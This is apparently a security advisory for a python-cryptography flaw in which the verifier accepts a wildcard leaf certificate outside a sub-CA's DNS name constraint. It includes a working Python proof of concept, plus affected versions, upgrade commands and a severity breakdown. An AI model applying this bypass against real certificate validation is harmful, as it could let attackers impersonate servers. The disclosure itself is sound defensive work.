Skip to content

GHSA-m2h6-j472-rp4c CVE-2026-69248 PYSEC-2026-3554

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

Medium PyPI
Severity
6.9 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.62% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-295 Improper Certificate Validation
Fix
49.0.0
Upgrade cryptography to this version or later

Description

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Affected versions

PyPI

PackageVulnerableFixed in
cryptography
>= 45.0.0, < 49.0.0
49.0.0
cryptography
>= 45.0.0, < 49.0.0
49.0.0
cryptography
< 49.0.0
49.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

cryptography PyPI → 49.0.0

pip
pip install --upgrade "cryptography>=49.0.0"
poetry
poetry add "cryptography>=49.0.0"
uv
uv add "cryptography>=49.0.0"

Severity breakdown

CVSS 4.0 6.9

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
Low
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Proof of concept

Weakness

CWE-295: Improper Certificate Validation

The product does not validate, or incorrectly validates, a certificate.

How to prevent it
  • Architecture and Design, Implementation: Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.
  • Implementation: If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-jwv3-5hgf-82ww
python-cryptography: Duplicate self-signed intermediates can cause exponential path-building
High Also affects cryptography
GHSA-g6cj-pr64-35w5
cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing
High Also affects cryptography
GHSA-537c-gmf6-5ccf
Vulnerable OpenSSL included in cryptography wheels
High Also affects cryptography
GHSA-p423-j2cm-9vmq
Cryptography vulnerable to buffer overflow if non-contiguous buffers were passed to APIs
Medium Also affects cryptography
GHSA-m959-cc7f-wv43
cryptography has incomplete DNS name constraint enforcement on peer names
Low Also affects cryptography
GHSA-r6ph-v2qm-q3c2
cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves
High Also affects cryptography
GHSA-79v4-65xg-pq4g
Vulnerable OpenSSL included in cryptography wheels
Medium Also affects cryptography
GHSA-h4gh-qq45-vh27
pyca/cryptography has a vulnerable OpenSSL included in cryptography wheels
Medium Also affects cryptography

Credits: frenzymadness, nikpivkin, randombit, tal-sealsecurity, woodruffw

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor